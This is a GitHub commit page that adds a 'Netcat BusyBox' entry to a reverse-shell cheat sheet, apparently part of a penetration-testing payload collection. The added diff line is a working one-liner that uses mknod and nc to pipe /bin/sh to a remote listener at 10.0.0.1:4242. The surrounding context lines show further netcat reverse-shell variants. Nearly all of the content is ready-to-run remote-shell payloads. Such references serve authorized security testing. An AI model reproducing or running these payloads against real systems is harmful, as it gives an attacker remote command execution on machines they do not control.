Skip to content

Commit

Permalink
Added Netcat BusyBox
Browse files Browse the repository at this point in the history
Some embedded systems like busybox won't have mkfifo present; instead, they will have mknod. This updated code can spawn reverse shell in systems that use mknod instead of mkfifo.
  • Loading branch information
secnigma authored Apr 1, 2021
1 parent 4f89c0a commit 059a866
Showing 1 changed file with 7 additions and 0 deletions.
7 changes: 7 additions & 0 deletions Methodology and Resources/Reverse Shell Cheatsheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@
* [Lua](#lua)
* [Ncat](#ncat)
* [Netcat OpenBsd](#netcat-openbsd)
* [Netcat BusyBox](#netcat-busybox)
* [Netcat Traditional](#netcat-traditional)
* [NodeJS](#nodejs)
* [OpenSSL](#openssl)
Expand Down Expand Up @@ -157,6 +158,12 @@ nc -c bash 10.0.0.1 4242
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

### Netcat BusyBox

```bash
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

### Ncat

```bash
Expand Down

0 comments on commit 059a866

Please sign in to comment.